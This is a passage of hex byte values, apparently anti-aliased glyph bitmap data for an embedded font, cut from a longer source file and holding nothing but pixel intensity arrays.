0x2E, 0x58, 0x82, 0x9D, 0x7A, 0x4C, 0x1F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x89, 0x94, 0x94, 0x94, 0x20, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0xFF, 0xFF, 0xFF, 0xAB, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xF5, 0xFF, 0xFF, 0xBB, 0x06, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB7, 0xFF, 0xFF, 0xC9, 0x0B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xFF, 0xFF, 0xD5, 0x13, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x9D, 0x9B, 0x1B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x36, 0x6A, 0x9A, 0x9F,
0x85, 0x63, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xDE, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF6, 0x8C, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xF8, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x43, 0xFF, 0xFF, 0xFF, 0xFF,
0xDF, 0x97, 0x7C, 0xA8, 0xFD, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x01, 0xCD, 0xFF, 0xFF, 0xFF,
0x78, 0x00, 0x00, 0x00, 0x00, 0x3A, 0xFB, 0xFF, 0xFF, 0xD3, 0x00, 0x00, 0x5A, 0xFF, 0xFF, 0xFF,
0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA7, 0xFF, 0xFF, 0xFE, 0x14, 0x00, 0xB6, 0xFF, 0xFF,
0xFC, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x4F, 0x00, 0xD9, 0xFF,
0xFF, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0x32, 0x32, 0x0C, 0x02, 0xF9,
0xFF, 0xFF, 0x8A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F,
0xFF, 0xFF, 0xFF, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x34, 0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x15, 0xFF, 0xFF, 0xFF, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xEF, 0xFF, 0xFF, 0xA3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xAB,
0xAF, 0xAF, 0x39, 0x00, 0xC9, 0xFF, 0xFF, 0xEF, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x2C, 0x00, 0x7B, 0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
0xC2, 0xFF, 0xFF, 0xE3, 0x00, 0x00, 0x0A, 0xE5, 0xFF, 0xFF, 0xF9, 0x53, 0x00, 0x00, 0x00, 0x05,
0x90, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00, 0x65, 0xFF, 0xFF, 0xFF, 0xFC, 0xC5, 0x90, 0x94,
0xD8, 0xFF, 0xFF, 0xFF, 0xE3, 0x14, 0x00, 0x00, 0x00, 0x01, 0x78, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xE5, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFE, 0xA4, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F,
0x53, 0x74, 0x6A, 0x45, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x2B, 0x2B, 0x1A, 0x00, 0x00, 0x00, 0x12, 0x2B, 0x2B, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xEC, 0x1A, 0x00, 0x05, 0xCD, 0xFF,
0xFF, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5,
0xFF, 0xFF, 0xB9, 0x01, 0x87, 0xFF, 0xFF, 0xD4, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xE2, 0xFF, 0xFF, 0xAD, 0xFD, 0xFF, 0xF8, 0x2E, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xFD,
0xFF, 0xFF, 0xFF, 0xFF, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFF, 0xBC, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x05, 0x05,
0x05, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0D, 0x3F, 0x56, 0x63, 0x61, 0x3B, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xB7, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xEF, 0xA3, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xB9, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF2, 0x74, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x23, 0xE1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0xED, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xA3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0xB5,
0x53, 0x21, 0x00, 0x00, 0x0E, 0x46, 0xC7, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00,
0x7F, 0xFF, 0xFF, 0xFF, 0xFA, 0x72, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79, 0xFF,
0xFF, 0xFF, 0xF8, 0x28, 0x00, 0x00, 0x17, 0xF3, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x95, 0xFF, 0xFF,
0xFF, 0xAE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xFB, 0xFF,
0xFF, 0xCA, 0x00, 0x08, 0xFB, 0xFF, 0xFF, 0xFD, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0xEF, 0xEF, 0xEA, 0x05, 0x2C, 0xFF, 0xFF, 0xFF, 0xAF, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x51, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B,
0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB1, 0xFF, 0xFF, 0xFF, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0xFF, 0xFF,
0xFF, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x90, 0xFF, 0xFF, 0xFF, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7D, 0xFF, 0xFF, 0xFF, 0x6B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x5B, 0x5B,
0x5B, 0x13, 0x4F, 0xFF, 0xFF, 0xFF, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFF, 0x33, 0x11, 0xFD, 0xFF, 0xFF, 0xF0, 0x0F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFF, 0xFF, 0xED, 0x02,
0x00, 0xCD, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x45, 0xFF, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0xED, 0x18, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xCE, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x03,
0xDB, 0xFF, 0xFF, 0xFF, 0xE4, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xCC, 0xFF,
0xFF, 0xFF, 0xC6, 0x02, 0x00, 0x00, 0x00, 0x42, 0xFA, 0xFF, 0xFF, 0xFF, 0xF8, 0x70, 0x27, 0x02,
0x00, 0x00, 0x14, 0x4D, 0xDC, 0xFF, 0xFF, 0xFF, 0xF7, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0xD2, 0xDB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0x62,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xDD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xD2, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08,
0x7E, 0xF6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF1, 0x8A, 0x07, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x2E, 0x58, 0x82, 0x9D, 0x7A, 0x4C, 0x1F,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x54, 0x54, 0x53, 0x05,
0x00, 0x00, 0x07, 0x54, 0x54, 0x53, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xD3, 0xFF, 0xFF,
0x85, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xCF, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xF8,
0xFF, 0xFD, 0x3C, 0x44, 0xFE, 0xFF, 0xF6, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x73, 0xFF, 0xFF, 0xE7, 0xEA, 0xFF, 0xFF, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0xB6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1D, 0xD4, 0xDC, 0xDC, 0xD2, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x07, 0x36, 0x6A, 0x9A, 0x9F, 0x85, 0x63, 0x18, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x33, 0xDE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6, 0x8C, 0x0E, 0x00,
0x00, 0x00, 0x00, 0x00, 0x6A, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xAF,
0x00, 0x00, 0x00, 0x00, 0x43, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x97, 0x7C, 0xA8, 0xFD, 0xFF, 0xFF,
0xFF, 0x6E, 0x00, 0x00, 0x01, 0xCD, 0xFF, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x3A, 0xFB,
0xFF, 0xFF, 0xD3, 0x00, 0x00, 0x5A, 0xFF, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA7, 0xFF, 0xFF, 0xFE, 0x14, 0x00, 0xB6, 0xFF, 0xFF, 0xFC, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x4F, 0x00, 0xD9, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2F, 0x32, 0x32, 0x0C, 0x02, 0xF9, 0xFF, 0xFF, 0x8A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0x74, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xFF, 0xFF, 0xFF, 0x82, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEF, 0xFF, 0xFF, 0xA3,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xAB, 0xAF, 0xAF, 0x39, 0x00, 0xC9, 0xFF, 0xFF,
0xEF, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x2C, 0x00, 0x7B, 0xFF,
0xFF, 0xFF, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xC2, 0xFF, 0xFF, 0xE3, 0x00, 0x00, 0x0A,
0xE5, 0xFF, 0xFF, 0xF9, 0x53, 0x00, 0x00, 0x00, 0x05, 0x90, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x00,
0x00, 0x65, 0xFF, 0xFF, 0xFF, 0xFC, 0xC5, 0x90, 0x94, 0xD8, 0xFF, 0xFF, 0xFF, 0xE3, 0x14, 0x00,
0x00, 0x00, 0x01, 0x78, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x39, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xE5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xA4, 0x20, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x53, 0x74, 0x6A, 0x45, 0x1B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x70, 0x70, 0x41, 0x00, 0x00, 0x00, 0x48,
0x70, 0x70, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF,
0xFF, 0xF3, 0x22, 0x00, 0x2D, 0xF8, 0xFF, 0xFD, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0xFF, 0xFF, 0xC6, 0x0B, 0xD2, 0xFF, 0xFF, 0x89, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xD9, 0xFF, 0xFF, 0xE6,
0xFF, 0xFF, 0xCE, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x34, 0xFB, 0xFF, 0xFF, 0xFF, 0xF6, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xC0, 0xC0, 0xC0, 0x61, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xC8, 0xC8,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC7, 0xB7, 0x9F, 0x74, 0x23, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xBE, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x75,
0xFF, 0xFF, 0xFF, 0x9C, 0x73, 0x73, 0x73, 0x73, 0x75, 0x97, 0xC6, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF,
0xFC, 0x56, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x59, 0xF5, 0xFF, 0xFF, 0xFF, 0xEC, 0x0D, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xDE, 0xFF, 0xFF, 0xFF, 0x7B, 0x00,
0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x3B, 0xFF, 0xFF, 0xFF, 0xEE, 0x0E, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC8, 0xFF, 0xFF, 0xFF, 0x70, 0x00, 0x75, 0xFF, 0xFF,
0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xFF, 0xFF,
0xFF, 0x9C, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0xFF, 0xFF, 0xFF, 0xBF, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF, 0xE2, 0x00, 0x75,
0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xD7, 0xFF, 0xFF, 0xFD, 0x06, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBC, 0xFF, 0xFF, 0xFF, 0x13, 0x75, 0xFF, 0xFF, 0xFF, 0x41,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0xFF, 0xFF, 0xFA,
0x01, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xDB, 0xFF, 0xFF, 0xE2, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xF9, 0xFF, 0xFF, 0xC9, 0x00, 0x75, 0xFF, 0xFF,
0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF,
0xFF, 0x9A, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF, 0xFF, 0x46, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0xFB, 0xFF, 0xFF, 0xED, 0x04, 0x00, 0x75,
0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xCA, 0xFF,
0xFF, 0xFF, 0x92, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x20, 0xBE, 0xFF, 0xFF, 0xFF, 0xE8, 0x11, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x70,
0x37, 0x37, 0x37, 0x37, 0x38, 0x4F, 0x6F, 0x9C, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0x58, 0x00, 0x00,
0x00, 0x75, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFC, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEA, 0xCB, 0xA9, 0x4E, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x0B, 0x0B, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCE, 0xFF, 0xFF, 0xFF,
0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xD1, 0xFF, 0xFF, 0xFF, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD1, 0xFF, 0xFF, 0xFF, 0x20, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC6, 0xF8, 0xFF, 0xFF, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0xFF, 0xEF, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xDD, 0xDD, 0xBE, 0x00, 0x00,
0x48, 0xFF, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x62, 0xFF, 0xFF, 0xE1, 0x00, 0x23, 0xD3, 0xFF, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xE1, 0x00, 0xD1, 0xFF, 0xD8,
0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62,
0xFF, 0xFF, 0xE1, 0x00, 0xC4, 0xB5, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF,
0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x4B, 0x78,
0x68, 0x46, 0x05, 0x00, 0x62, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x40, 0xDA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE6, 0x56, 0x62, 0xFF, 0xFF, 0xE1, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFD, 0xC3, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xFE,
0xFF, 0xFF, 0xFF, 0xE8, 0xB0, 0xA4, 0xDA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0xD3, 0xFF, 0xFF, 0xFF, 0x95, 0x05, 0x00, 0x00, 0x00, 0x74, 0xFC,
